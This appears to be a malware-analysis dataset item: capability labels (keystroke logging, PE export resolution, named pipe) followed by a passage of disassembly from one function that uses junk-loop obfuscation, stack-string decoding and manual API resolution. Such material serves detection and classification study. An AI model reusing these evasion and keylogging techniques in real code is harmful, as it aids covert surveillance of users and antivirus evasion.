Function at 0x410e39
Capabilities:
Authenticate hmac
Connect pipe
Get geographical location
Get keyboard layout
Log keystrokes via polling
Parse pe header
Query environment variable
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b02d5
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x694
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
cmp dword [ebp + 0x10], 0
jbe 0x410e80
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x410e80
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.0040fce0
pop ecx
pop ecx
jmp 0x413bf2
mov dword [ebp - 0x25c], 0x2e16
mov dword [ebp - 0x300], str.fjcv_bxrkeowey_udxx_nhoe_rkppvpqgn_tvrnvex_dggt_ayjjylxrj_cmqdwbyd
cmp dword [ebp - 0x25c], 0x2ee8
jle 0x410f6e
and dword [ebp - 0x108], 0
jmp 0x410eba
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0x1913
jge 0x410f6e
and dword [ebp - 0x170], 0
jmp 0x410ee0
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 0x72e4
jge 0x410f69
and dword [ebp - 0x4c], 0
jmp 0x410ef9
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0x66ad
jge 0x410f64
and dword [ebp - 0x118], 0
jmp 0x410f18
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0x6012
jge 0x410f62
mov eax, dword [ebp - 0x108]
imul eax, dword [ebp - 0x170]
imul eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x118]
sar eax, cl
cdq
mov dword [ebp - 0x3a8], eax
mov dword [ebp - 0x3a4], edx
push dword [ebp - 0x3a4]
push dword [ebp - 0x3a8]
mov ecx, 0xaa8ef8
call fcn.0042f678
jmp 0x410f0b
jmp 0x410ef2
jmp 0x410ed3
jmp 0x410ead
cmp dword [ebp + 0x10], 0
jne 0x411d1b
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.00405207
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x294], 0x1286
mov dword [ebp - 0x404], str.vpblwhqm_tkpcgvvzj_rxdpown_srjeuboer_xeyfvlje_fcezbmsol_bksinjs_tvuwxp
cmp dword [ebp - 0x294], 0x1327
jle 0x411041
and dword [ebp - 0x5c], 0
jmp 0x410fb7
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0x5c18
jge 0x411030
and dword [ebp - 0x54], 0
jmp 0x410fcd
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0x267f
jge 0x41102e
and dword [ebp - 0x1a0], 0
jmp 0x410fec
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0x2cd2
jge 0x41102c
mov ecx, dword [ebp - 0x54]
imul ecx, dword [ebp - 0x1a0]
mov eax, dword [ebp - 0x5c]
sar eax, cl
cdq
mov dword [ebp - 0x400], eax
mov dword [ebp - 0x3fc], edx
push dword [ebp - 0x3fc]
push dword [ebp - 0x400]
mov ecx, 0xaa8ef8
call fcn.0042f678
jmp 0x410fdf
jmp 0x410fc6
jmp 0x410fb0
push 0x189
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
and dword [ebp - 4], 0
cmp dword [ebp - 0x294], 0x1082
jge 0x411061
mov edx, dword [ebp - 0x404]
mov ecx, 0xaa8ef8
call fcn.00430eb8
jmp 0x41107d
or dword [ebp - 4], 0xffffffff
jmp 0x411087
cmp dword [0xaaa078], 0
jne 0x411cef
mov dword [ebp - 0x450], 0x4ed6
lea eax, [ebp - 0x450]
push eax
call fcn.0040f9da
pop ecx
mov dword [ebp - 0x254], eax
mov byte [ebp - 0x22c], 4
mov byte [ebp - 0x22b], 0x66
mov byte [ebp - 0x22a], 0xc
mov byte [ebp - 0x229], 0x5a
mov byte [ebp - 0x228], 8
mov byte [ebp - 0x227], 0x74
mov byte [ebp - 0x226], 7
mov byte [ebp - 0x225], 0x70
mov byte [ebp - 0x224], 6
mov byte [ebp - 0x223], 0x7c
mov byte [ebp - 0x222], 0xb
mov byte [ebp - 0x221], 0xe2
mov byte [ebp - 0x220], 0x68
mov byte [ebp - 0x21f], 0x18
mov byte [ebp - 0x21e], 0xb1
mov byte [ebp - 0x21d], 0x9c
mov byte [ebp - 0x21c], 0xaa
mov byte [ebp - 0x21b], 0x40
mov byte [ebp - 0x21a], 0xb1
mov byte [ebp - 0x219], 0x74
mov byte [ebp - 0x218], 0xd3
mov byte [ebp - 0x217], 3
mov byte [ebp - 0x216], 0x61
mov byte [ebp - 0x215], 0xb
mov byte [ebp - 0x214], 0x85
mov byte [ebp - 0x213], 0xa
mov byte [ebp - 0x212], 0x54
mov byte [ebp - 0x211], 2
mov byte [ebp - 0x210], 0x85
mov byte [ebp - 0x20f], 1
mov byte [ebp - 0x20e], 0x78
mov byte [ebp - 0x20d], 0
mov byte [ebp - 0x20c], 0x5c
mov byte [ebp - 0x20b], 5
mov byte [ebp - 0x20a], 0x89
mov byte [ebp - 0x209], 9
mov byte [ebp - 0x208], 0x87
and dword [ebp - 0x14], 0
and dword [ebp - 0x2c8], 0
jmp 0x4111c9
mov eax, dword [ebp - 0x14]
inc eax
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x25
jae 0x411352
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x22c]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x14], eax
jne 0x4111ff
mov dword [ebp - 0x2c8], 0xb
mov eax, dword [ebp - 0x14]
add eax, 9
mov dword [ebp - 0x14], eax
jmp 0x4111c1
mov dword [ebp - 0x2d0], 0x4dcb
mov dword [ebp - 0x440], str.ruutql_ulut_tyaasks_xeqpgqi_lhzx_swe_ysyroaag_anrrjl
cmp dword [ebp - 0x2d0], 0x5059
jle 0x4112b2
and dword [ebp - 0x120], 0
jmp 0x411239
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0x4787
jge 0x41128d
and dword [ebp - 0x64], 0
jmp 0x411252
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0x3597
jge 0x41128b
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x64]
sar eax, cl
cdq
mov dword [ebp - 0x3b4], eax
mov dword [ebp - 0x3b0], edx
push dword [ebp - 0x3b0]
push dword [ebp - 0x3b4]
mov ecx, 0xaa8ef8
call fcn.0042f678
jmp 0x41124b
jmp 0x41122c
push 0x14e1
push 0
push 0x120f
push 0x1f70
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtFloodFill]
mov eax, dword [ebp - 0x14]
movzx eax, byte [ebp + eax - 0x22b]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x2c8]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x178], eax
mov dword [ebp - 4], 2
cmp dword [ebp - 0x2d0], 0x4c24
jge 0x4112f3
mov edx, dword [ebp - 0x440]
mov ecx, 0xaa8ef8
call fcn.00430eb8
jmp 0x41130f
or dword [ebp - 4], 0xffffffff
jmp 0x411319
cmp dword [ebp - 0x178], 0
jge 0x411335
mov eax, dword [ebp - 0x178]
add eax, 0x100
mov dword [ebp - 0x178], eax
jmp 0x411319
mov eax, dword [ebp - 0x14]
movzx eax, byte [ebp + eax - 0x22c]
mov cl, byte [ebp - 0x178]
mov byte [ebp + eax - 0x460], cl
jmp 0x4111c1
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0x460], 0
lea eax, [ebp - 0x460]
push eax
lea ecx, [ebp - 0x59c]
call fcn.0042f7bd
mov edx, dword [ebp - 0x254]
mov ecx, eax
call fcn.00405207
mov dword [0xaaa078], eax
lea ecx, [ebp - 0x59c]
call fcn.00402a51
and dword [ebp - 0x7c], 0
jmp 0x41139c
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0xe
jae 0x4114e0
mov dword [ebp - 0x2ac], 0x559f
mov dword [ebp - 0x44c], str.wpbhbv_fap_btobcboct_mbwkhzjp_tjnuyqj_ekce_cwercerqr_lza_tmvnw
cmp dword [ebp - 0x2ac], 0x58b4
jle 0x411487
and dword [ebp - 0x6c], 0
jmp 0x4113d7
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0x216b
jge 0x411487
and dword [ebp - 0x128], 0
jmp 0x4113fa
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0xdb9
jge 0x411482
and dword [ebp - 0x74], 0
jmp 0x411413
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0x62a1
jge 0x41147d
and dword [ebp - 0x1b8], 0
jmp 0x411432
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0x4ede
jge 0x41147b
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x128]
shl eax, cl
mov ecx, dword [ebp - 0x74]
shl eax, cl
mov ecx, dword [ebp - 0x1b8]
sar eax, cl
cdq
mov dword [ebp - 0x434], eax
mov dword [ebp - 0x430], edx
push dword [ebp - 0x430]
push dword [ebp - 0x434]
mov ecx, 0xaa8ef8
call fcn.0042f678
jmp 0x411425
jmp 0x41140c
jmp 0x4113ed
jmp 0x4113d0
mov eax, dword [ebp - 0x7c]
mov byte [ebp + eax - 0x460], 0
mov dword [ebp - 4], 4
cmp dword [ebp - 0x2ac], 0x557c
jge 0x4114b5
mov edx, dword [ebp - 0x44c]
mov ecx, 0xaa8ef8
call fcn.00430eb8
jmp 0x4114d1
or dword [ebp - 4], 0xffffffff
jmp 0x4114db
jmp 0x411395
mov dword [ebp - 0x2cc], 0x3263
mov dword [ebp - 0x2f4], str.lxjtw_urisdlkii_anqnq_feu_mjggmy_win_khmqtppbv_iteytnhb_yaboem_osmf_hxybwpmci_gtohrhf
cmp dword [ebp - 0x2cc], 0x35a7
jle 0x4115cf
and dword [ebp - 0x130], 0
jmp 0x41151a
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0x76b0
jge 0x4115cf
and dword [ebp - 0x84], 0
jmp 0x411540
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0x1688
jge 0x4115ca
and dword [ebp - 0x180], 0
jmp 0x411562
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 0x1194
jge 0x4115c5
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0x84]
shl eax, cl
mov ecx, dword [ebp - 0x180]
sar eax, cl
cdq
mov dword [ebp - 0x3c0], eax
mov dword [ebp - 0x3bc], edx
push dword [ebp - 0x3bc]
push dword [ebp - 0x3c0]
lea ecx, [ebp - 0x674]
call fcn.0040501b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402aad
push eax
call fcn.0049a6ea
pop ecx
lea ecx, [ebp - 0x674]
call fcn.0040289a
jmp 0x411555
jmp 0x411533
jmp 0x41150d
mov byte [ebp - 0x204], 5
mov byte [ebp - 0x203], 0x66
mov byte [ebp - 0x202], 2
mov byte [ebp - 0x201], 0x68
mov byte [ebp - 0x200], 9
mov byte [ebp - 0x1ff], 0x68
mov byte [ebp - 0x1fe], 3
mov byte [ebp - 0x1fd], 0x68
mov byte [ebp - 0x1fc], 7
mov byte [ebp - 0x1fb], 0x7b
mov byte [ebp - 0x1fa], 6
mov byte [ebp - 0x1f9], 0x5b
mov byte [ebp - 0x1f8], 3
mov byte [ebp - 0x1f7], 0xa0
mov byte [ebp - 0x1f6], 0xf8
mov byte [ebp - 0x1f5], 4
mov byte [ebp - 0x1f4], 0x81
mov byte [ebp - 0x1f3], 0xc
mov byte [ebp - 0x1f2], 0x82
mov byte [ebp - 0x1f1], 1
mov byte [ebp - 0x1f0], 0x83
mov byte [ebp - 0x1ef], 8
mov byte [ebp - 0x1ee], 0x82
mov byte [ebp - 0x1ed], 0xa
mov byte [ebp - 0x1ec], 0x7a
mov byte [ebp - 0x1eb], 0xd
mov byte [ebp - 0x1ea], 0x6e
mov byte [ebp - 0x1e9], 0
mov byte [ebp - 0x1e8], 0x5c
mov byte [ebp - 0x1e7], 0xb
mov byte [ebp - 0x1e6], 0x8e
and dword [ebp - 0x18], 0
and dword [ebp - 0x244], 0
jmp 0x4116bd
mov eax, dword [ebp - 0x18]
inc eax
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x1f
jae 0x411b0e
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x204]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x18], eax
jne 0x411860
mov dword [ebp - 0x244], 3
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x2c0], 0x7470
mov dword [ebp - 0x3ec], str.wgafecjn_rotrrxse_ycscqzcoi_acwna_rpeq_abyiexur
cmp dword [ebp - 0x2c0], 0x74de
jle 0x411816
and dword [ebp - 0x8c], 0
jmp 0x41172d
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0x210a
jge 0x411816
and dword [ebp - 0x138], 0
jmp 0x411753
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0x44b0
jge 0x411811
and dword [ebp - 0x94], 0
jmp 0x411779
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0x2db9
jge 0x41180c
and dword [ebp - 0x1a8], 0
jmp 0x41179f
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 0x6920
jge 0x411807
mov eax, dword [ebp - 0x8c]
cdq
idiv dword [ebp - 0x138]
and edx, dword [ebp - 0x94]
xor edx, dword [ebp - 0x1a8]
mov eax, edx
cdq
mov dword [ebp - 0x40c], eax
mov dword [ebp - 0x408], edx
push dword [ebp - 0x408]
push dword [ebp - 0x40c]
lea ecx, [ebp - 0x6a4]
call fcn.0040501b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402aad
push eax
call fcn.0049a6ea
pop ecx
lea ecx, [ebp - 0x6a4]
call fcn.0040289a
jmp 0x411792
jmp 0x41176c
jmp 0x411746
jmp 0x411720
jmp 0x4116b5
mov dword [ebp - 0x28c], 0x72f1
mov dword [ebp - 0x2e8], str.jmdhrsizf_txj_afa_ojckyxoh_jfgau_pvn_nkdknyn_kbeg_tpdyof_lxrdzno_uspd_mlf_tmvvdpcdv_xcb
cmp dword [ebp - 0x28c], 0x7599
jle 0x411962
and dword [ebp - 0x188], 0
jmp 0x41189a
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0xd9c
jge 0x411962
and dword [ebp - 0xa4], 0
jmp 0x4118c0
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0x55b2
jge 0x41195d
and dword [ebp - 0x9c], 0
jmp 0x4118e6
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0x1a60
jge 0x411958
and dword [ebp - 0x140], 0
jmp 0x411908
mov eax, dword [ebp - 0x140]
inc eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0x18b7
jge 0x411956
mov eax, dword [ebp - 0x9c]
cdq
idiv dword [ebp - 0x140]
mov eax, dword [ebp - 0xa4]
mov ecx, edx
shl eax, cl
and eax, dword [ebp - 0x188]
cdq
mov dword [ebp - 0x3cc], eax
mov dword [ebp - 0x3c8], edx
push dword [ebp - 0x3c8]
push dword [ebp - 0x3cc]
mov ecx, 0xaa8ef8
call fcn.0042f678
jmp 0x4118fb
jmp 0x4118d9
jmp 0x4118b3
jmp 0x41188d
mov eax, dword [ebp - 0x18]
movzx eax, byte [ebp + eax - 0x203]
sub eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x244]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0xb4], eax
mov dword [ebp - 4], 8
cmp dword [ebp - 0x28c], 0x7299
jge 0x4119a3
mov edx, dword [ebp - 0x2e8]
mov ecx, 0xaa8ef8
call fcn.00430eb8
jmp 0x4119bf
or dword [ebp - 4], 0xffffffff
jmp 0x4119c9
cmp dword [ebp - 0xb4], 0
jge 0x4119e5
mov eax, dword [ebp - 0xb4]
add eax, 0x100
mov dword [ebp - 0xb4], eax
jmp 0x4119c9
mov dword [ebp - 0x24c], 0x2327
mov dword [ebp - 0x424], str.roklsps_vbc_nrxd_kfi_qllcn_pbcipp_ide_vqb_inbxtb_xpg
cmp dword [ebp - 0x24c], 0x2487
jle 0x411aac
push 0
push 0x2522
call dword [sym.imp.GDI32.dll_CreateHatchBrush]
and dword [ebp - 0xac], 0
jmp 0x411a2c
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0x2ed5
jge 0x411aac
and dword [ebp - 0x148], 0
jmp 0x411a4e
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 0x3dd1
jge 0x411aa7
mov eax, dword [ebp - 0xac]
xor eax, dword [ebp - 0x148]
cdq
mov dword [ebp - 0x43c], eax
mov dword [ebp - 0x438], edx
push dword [ebp - 0x438]
push dword [ebp - 0x43c]
lea ecx, [ebp - 0x68c]
call fcn.0040501b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402aad
push eax
call fcn.0049a6ea
pop ecx
lea ecx, [ebp - 0x68c]
call fcn.0040289a
jmp 0x411a41
jmp 0x411a1f
mov eax, dword [ebp - 0x18]
movzx eax, byte [ebp + eax - 0x204]
mov cl, byte [ebp - 0xb4]
mov byte [ebp + eax - 0x470], cl
mov dword [ebp - 4], 0xa
cmp dword [ebp - 0x24c], 0x209e
jge 0x411ae3
push dword [ebp - 0x424]
call fcn.0049a6ea
pop ecx
jmp 0x411aff
or dword [ebp - 4], 0xffffffff
jmp 0x411b09
jmp 0x4116b5
xor eax, eax
inc eax
imul eax, eax, 0xe
mov byte [ebp + eax - 0x470], 0
mov dword [ebp - 4], 0xc
cmp dword [ebp - 0x2cc], 0x307d
jge 0x411b3b
push dword [ebp - 0x2f4]
call fcn.0049a6ea
pop ecx
jmp 0x411b57
or dword [ebp - 4], 0xffffffff
jmp 0x411b61
mov dword [ebp - 0x238], 0x4004
mov dword [ebp - 0x3f4], str.fpntsk_iilvp_blokqlzfa_qkpvzko_ewjqieiku_pnrake_xovawxwxf_wzjsrdhgw_glft_ozrj_hzsl_sctve_tazrhnku_naghk
cmp dword [ebp - 0x238], 0x41ae
jle 0x411c4c
and dword [ebp - 0x1c8], 0
jmp 0x411b9b
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 0x47ec
jge 0x411c4c
and dword [ebp - 0xbc], 0
jmp 0x411bc1
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0x99d
jge 0x411c47
and dword [ebp - 0x150], 0
jmp 0x411be3
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0x9f9
jge 0x411c42
mov eax, dword [ebp - 0x1c8]
add eax, dword [ebp - 0xbc]
add eax, dword [ebp - 0x150]
cdq
mov dword [ebp - 0x3d8], eax
mov dword [ebp - 0x3d4], edx
push dword [ebp - 0x3d4]
push dword [ebp - 0x3d8]
lea ecx, [ebp - 0x53c]
call fcn.0040501b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402aad
push eax
call fcn.0049a6ea
pop ecx
lea ecx, [ebp - 0x53c]
call fcn.0040289a
jmp 0x411bd6
jmp 0x411bb4
jmp 0x411b8e
lea eax, [ebp - 0x470]
push eax
lea ecx, [ebp - 0x5fc]
call fcn.0042f7bd
mov edx, dword [ebp - 0x254]
mov ecx, eax
call fcn.00405207
mov dword [0xaaa18c], eax
lea ecx, [ebp - 0x5fc]
call fcn.00402a51
mov dword [ebp - 4], 0xe
cmp dword [ebp - 0x238], 0x3fc0
jge 0x411c9a
push dword [ebp - 0x3f4]
call fcn.0049a6ea
pop ecx
jmp 0x411cb6
or dword [ebp - 4], 0xffffffff
jmp 0x411cc0
and dword [ebp - 0xc4], 0
jmp 0x411cd6
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0xf
jae 0x411cef
mov eax, dword [ebp - 0xc4]
mov byte [ebp + eax - 0x470], 0
jmp 0x411cc9
mov eax, dword [0xaaa078]
cmp eax, dword [ebp - 0x48]
je 0x411d03
mov eax, dword [0xaaa18c]
cmp eax, dword [ebp - 0x48]
jne 0x411d1b
mov ecx, dword [ebp + 0xc]
call fcn.00402aad
push eax
push dword [ebp + 8]
call fcn.0040fce0
pop ecx
pop ecx
jmp 0x413bf2
mov dword [ebp - 4], 0x10
cmp dword [ebp - 0x25c], 0x2d39
jge 0x411d3e
mov edx, dword [ebp - 0x300]
mov ecx, 0xaa8ef8
call fcn.00430eb8
jmp 0x411d5a
or dword [ebp - 4], 0xffffffff
jmp 0x411d64
mov eax, dword [ebp + 8]
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0
je 0x413a87
mov eax, dword [ebp - 0x190]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x413a87
mov eax, dword [ebp - 0x190]
mov ecx, dword [ebp - 0x190]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x3c]
cmp dword [eax], 0x4550
jne 0x413a87
mov eax, dword [ebp - 0x3c]
cmp dword [eax + 0x74], 0
jbe 0x413a87
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3c]
cmp dword [ecx + eax + 0x78], 0
je 0x413a87
mov eax, dword [ebp + 8]
mov dword [ebp - 0x34], eax
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x34]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x28], edx
mov eax, 0xffff
mov word [ebp - 0x1c], ax
or dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x284], 0x1801
mov dword [ebp - 0x3b8], str.sovfcqxqv_yeuacpsy_qbkajsyfd_bjuuos_pnipuoevh_xavobja_bqpan_vysrvmgpb
cmp dword [ebp - 0x284], 0x1bbb
jle 0x411e8f
and dword [ebp - 0xcc], 0
jmp 0x411e2c
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0x4d20
jge 0x411e8f
and dword [ebp - 0x158], 0
jmp 0x411e4e
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0x173c
jge 0x411e8d
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 0x158]
shl eax, cl
cdq
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x414], edx
push dword [ebp - 0x414]
push dword [ebp - 0x418]
mov ecx, 0xaa8ef8
call fcn.0042f678
jmp 0x411e41
jmp 0x411e1f
cmp dword [ebp + 0x10], 0
jbe 0x412026
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x412021
mov dword [ebp - 0x2b4], 0x915
mov dword [ebp - 0x39c], str.nkwwehrnk_pmp_bnnrjjqu_jauts_flbyif_rsjwlroz_aqict_jpyuq_cmaxk_gzgklwlyy_vwv_tch_yatnus
cmp dword [ebp - 0x2b4], 0xad2
jle 0x411fd4
and dword [ebp - 0xd4], 0
jmp 0x411ee2
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0x49fd
jge 0x411fca
and dword [ebp - 0x1b0], 0
jmp 0x411f08
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0x24cb
jge 0x411fc5
and dword [ebp - 0xdc], 0
jmp 0x411f2e
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0x1ad0
jge 0x411fc0
and dword [ebp - 0x160], 0
jmp 0x411f54
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 0x1ee3
jge 0x411fbb
mov eax, dword [ebp - 0xd4]
add eax, dword [ebp - 0x1b0]
mov ecx, dword [ebp - 0xdc]
sar eax, cl
or eax, dword [ebp - 0x160]
cdq
mov dword [ebp - 0x3e4], eax
mov dword [ebp - 0x3e0], edx
push dword [ebp - 0x3e0]
push dword [ebp - 0x3e4]
lea ecx, [ebp - 0x56c]
call fcn.0040501b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402aad
push eax
call fcn.0049a6ea
pop ecx
lea ecx, [ebp - 0x56c]
call fcn.0040289a
jmp 0x411f47
jmp 0x411f21
jmp 0x411efb
jmp 0x411ed5
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0x1c], ax
mov dword [ebp - 4], 0x12
cmp dword [ebp - 0x2b4], 0x597
jge 0x411ffb
push dword [ebp - 0x39c]
call fcn.0049a6ea
pop ecx
jmp 0x412017
or dword [ebp - 4], 0xffffffff
jmp 0x412021
jmp 0x41272a
mov eax, dword [0xaaa1e0]
and eax, 1
jne 0x412052
mov eax, dword [0xaaa1e0]
or eax, 1
mov dword [0xaaa1e0], eax
mov ecx, 0xaaa16c
call fcn.00402bba
push 0x4b0629
call fcn.0049a41f
pop ecx
movzx eax, byte [0xaaa094]
test eax, eax
je 0x4121fb
mov ecx, 0xaaa16c
call fcn.0042f840
movzx eax, al
test eax, eax
jne 0x4121fb
mov dword [ebp - 0x264], 0x27ff
mov dword [ebp - 0x30c], str.xiflf_oeiptgiy_phdlo_zwhivrcn_gftp
cmp dword [ebp - 0x264], 0x2bcb
jle 0x41216c
and dword [ebp - 0xec], 0
jmp 0x4120b0
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0x5a4c
jge 0x412161
and dword [ebp - 0xe4], 0
jmp 0x4120d6
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0x2497
jge 0x41215c
and dword [ebp - 0x198], 0
jmp 0x4120f8
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0x1d93
jge 0x412157
mov eax, dword [ebp - 0xe4]
xor eax, dword [ebp - 0x198]
or eax, dword [ebp - 0xec]
cdq
mov dword [ebp - 0x448], eax
mov dword [ebp - 0x444], edx
push dword [ebp - 0x444]
push dword [ebp - 0x448]
lea ecx, [ebp - 0x65c]
call fcn.0040501b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402aad
push eax
call fcn.0049a6ea
pop ecx
lea ecx, [ebp - 0x65c]
call fcn.0040289a
jmp 0x4120eb
jmp 0x4120c9
jmp 0x4120a3
push 0x15ae
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x29c]
push eax
mov ecx, 0xaaa16c
call fcn.00402b92
mov dword [ebp - 4], 0x14
cmp dword [ebp - 0x264], 0x260a
jge 0x4121a0
push dword [ebp - 0x30c]
call fcn.0049a6ea
pop ecx
jmp 0x4121bc
or dword [ebp - 4], 0xffffffff
jmp 0x4121c6
lea eax, [ebp - 0x47c]
push eax
mov ecx, 0xaaa16c
call fcn.00402b84
push eax
lea ecx, [ebp - 0x29c]
call fcn.00402ba7
movzx eax, al
test eax, eax
je 0x4121fb
lea ecx, [ebp - 0x29c]
call fcn.0042f849
mov eax, dword [eax + 4]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xffffffff
jne 0x41272a
mov dword [ebp - 0x26c], 0x5209
mov dword [ebp - 0x3a0], str.wrf_mnhyrkpwc_eculudlz_psrd_htzjtbv_otsvgm_ddtmerx_wupaovli_zjwmwh_iibidsie_vbaki
cmp dword [ebp - 0x26c], 0x5253
jle 0x4122c0
and dword [ebp - 0x168], 0
jmp 0x41223f
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0x217b
jge 0x4122c0
and dword [ebp - 0xf4], 0
jmp 0x412261
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
